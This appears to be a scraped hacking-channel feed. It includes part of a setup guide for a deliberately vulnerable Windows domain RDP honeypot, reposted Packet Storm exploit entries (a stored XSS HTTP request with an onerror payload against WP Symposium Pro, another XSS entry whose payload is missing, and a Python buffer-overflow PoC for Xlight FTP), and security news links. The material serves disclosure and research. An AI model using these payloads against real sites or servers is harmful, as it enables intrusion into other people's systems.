After a short time (~2-3 mins), the network and virtual machines are up and running.WARNING: You should take care of protecting your private network. The terraform config (main.tf) provided here just contains a custom firewall rule for my own testing environment (blocking 192.168.0.0/16 destination traffic from the 192.168.3.0/24 honeypot network).Next is the configuration phase.
Ansible
Get into the ansible folder:cd ../ansible
Recommended installation method is installing the latest Ansible with some required additional dependencies in a Python venv virtualized environment:python3 -m venv venv
. ./venv/bin/activate
pip install ansible pywinrm faker
For later use just activate the venv by. ./venv/bin/activate
And just deactivate if it is not needed anymore in your current session.You should put an SSH public key with filename id.pub into the ansible folder for accessing the Ubuntu Graylog machine with the ubuntu user (ansible will add it to ~ubuntu/.ssh/authorized_keys).The wordlist.txt file contains some (intentionally weak) passwords for the populated domain users which can be customized.Run the configuration phase:ansible-playbook -i hosts setup-domain.yml -v

___________________________
@hacking_Attack
@Hacking_Video

After 20-25 mins everything is ready.
The deployed system
hostnameip addressoperating systemroledc1192.168.3.100Windows Server 2016Domain Controllerdesktop12192.168.3.112Windows 10 (version 2004)Domain Member Workstationgraylog192.168.3.191Ubuntu 18.04 LTSGraylog ServerAccording to the libvirt network configuration (NAT), the hosts can access the public internet (if your host system allows it).Accessing the hosts is possible through the host system. Practically using an SSH socks tunnel and proxychains for RDP or WinRM access is very comfortable.For example, if your libvirt host IP is 192.168.0.10, create a socks tunnel listening on localhost:5000 byssh 192.168.0.10 -D5000 -NTv
And access the Windows 10 desktop (using an appropriate /etc/proxychains.confconfigured for the :5000 tunnel):proxychains xfreerdp /v:192.168.3.112 /u:administrator
Or, access the Graylog web interface listening on :9000 locally on the Graylog Ubuntu server by SSH ProxyJump and custom forward tunnel:ssh -J 192.168.0.10 ubuntu@192.168.3.191 -NTv -L9000:127.0.0.1:9000
Then open URL http://localhost:9000 and you reach the Graylog web interface.For activating the RDP honeypot, just allow public access to 192.168.3.112:3389 (for example with some port forwarding configuration on your router and iptables rules on the host machine; my helper script is rdp_public.sh (https://github.com/tothi/ad-honeypot-autodeploy/blob/master/ansible/rdp_public.sh)) and keep watching the Graylog. ;)

Download Ad-Honeypot-Autodeploy (https://github.com/tothi/ad-honeypot-autodeploy)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress WP Symposium Pro 2021.10 Cross Site Scripting

https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
WordPress WP Symposium Pro version 2021.10 suffers from a persistent cross site scripting vulnerability.

MD5 | e19ff840936ef599bf31ea5948def203

Download
# Exploit Title: WordPress Plugin WP Symposium Pro 2021.10 - 'wps_admin_forum_add_name' Stored Cross-Site Scripting (XSS)
# Date: 11/11/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: http://www.wpsymposiumpro.com/
# Software Link: https://wordpress.org/plugins/wp-symposium-pro/
# Version: 2021.10
# Tested on : Windows 10
#Description: WP Symposium Pro version 2021.10 plugin was exposed to stored cross site scripting vulnerability due to lack of sanitizing adding forum speciality and its "name" label.

#Poc:

POST /wordpress/wp-admin/admin.php?page=wps_pro_setup HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/admin.php?page=wps_pro_setup
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Origin: http://localhost
Connection: close
Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1636828443%7CvIYW2N7MvOinijMOx1nLkLNysDvFz33pkuJcGyuQq56%7Ca0ec8384ede32940d2b69f1082cc013aecf3e887a70485cb38229a405be8a12d; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dlist; wp-settings-time-1=1636654062; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1636828443%7CvIYW2N7MvOinijMOx1nLkLNysDvFz33pkuJcGyuQq56%7Cd9daf69cf25e68a3ed54d94c4baa78d20f9772e986211e25656dd832aac6e544
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

wpspro_quick_start=forum&wps_admin_forum_add_name=%3Cimg+src%3Dx+onerror%3Dconfirm%281%29%3E&wps_admin_forum_add_description=test
----------------------------------------------------------------------------------
## After adding new forum, click created forum and pop-up will be on the screen.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress AccessPress Social Icons 1.8.2 Cross Site Scripting

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
WordPress AccessPress Social Icons plugin version 1.8.2 suffers from a persistent cross site scripting vulnerability.

MD5 | 8a797400446972ed44d178f0fcc09d8c

Download
# Exploit Title: WordPress Plugin AccessPress Social Icons 1.8.2 - 'icon title' Stored Cross-Site Scripting (XSS)
# Date: 11/12/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://accesspressthemes.com/
# Software Link: https://wordpress.org/plugins/accesspress-social-icons/
# Version: 1.8.2
# Tested on : Windows 10

#Poc:

1. Install Latest WordPress
2. Install and activate AccessPress Social Icons 1.8.2
3. Open plugin on the left frame and keep going "add new" field. Click "Choose icon indiviually" and fill other fields.
4. Enter JavaScript payload which is mentioned below into 'icon title' field and "Add Icon to list".

x

4. You will observe that the payload successfully got stored into the database and alert will be seen on the screen.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Aerohive NetConfig 10.0r8a Local File Inclusion / Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Xlight FTP 3.9.3.1 Buffer Overflow

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
Xlight FTP version 3.9.3.1 suffers from a buffer overflow vulnerability.

MD5 | 7b4e185e225c2f5d9619211162511738

Download
# Exploit Title: Xlight FTP 3.9.3.1 - 'Buffer Overflow' (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-12
# Vendor Homepage: https://www.xlightftpd.com/
# Software Link: https://www.xlightftpd.com/download/setup.exe
# Tested Version: 3.9.3.1
# Vulnerability Type: Buffer Overflow Local
# Tested on OS: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: Xlight FTP 3.9.3.1 'Access Control List' Buffer Overflow (PoC)

# Steps to reproduce:
# 1. - Download and Xlight FTP
# 2. - Run the python script and it will create exploit.txt file.
# 3. - Open Xlight FTP 3.9.3.1
# 4. - "File and Directory - Access Control List - Setup - Added users list directories
# 5. - Go to Specify file or directory name applied or Specify username applied to or Specify groupname applied
# 6. - Go to Setup -> added -> Enter new Item - Paste the characters
# 7 - Crashed

#!/usr/bin/python

exploit = 'A' * 550

try:
file = open("exploit.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC not created")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

HTML smuggling surges: Highly evasive loader technique increasingly used in banking malware, targeted attacks - Microsoft Security Blog
https://www.reddit.com/r/redteamsec/comments/qsl7sk/html_smuggling_surges_highly_evasive_loader/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/) [comments] (https://www.reddit.com/r/redteamsec/comments/qsl7sk/html_smuggling_surges_highly_evasive_loader/)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Ad-Honeypot-Autodeploy - Deploy A Small, Intentionally Insecure, Vulnerable Windows Domain For RDP Honeypot Fully Automatically

___________________________
@hacking_Attack
@Hacking_Video

Never leave this tip while you hunting Broken Access Control
https://secureitmania.medium.com/never-leave-this-tip-while-you-hunting-broken-access-control-f63c00b1e96a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

A special Bug-Bounty tip for Bug hunters and Pen-testersContinue reading on Medium » (https://secureitmania.medium.com/never-leave-this-tip-while-you-hunting-broken-access-control-f63c00b1e96a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Follow the Leaders: A Blueprint for Software Security Success

Organizations can study software security leaders and emulate their habits and initiatives in order to build a successful software security program of their own.

Dark Reading: Attacks/Breaches
Open Source Project Aims to Detect Living-Off-the-Land Attacks

The machine learning classifier from Adobe can determine whether system commands are malicious and classify them using a variety of tags useful for security analysts.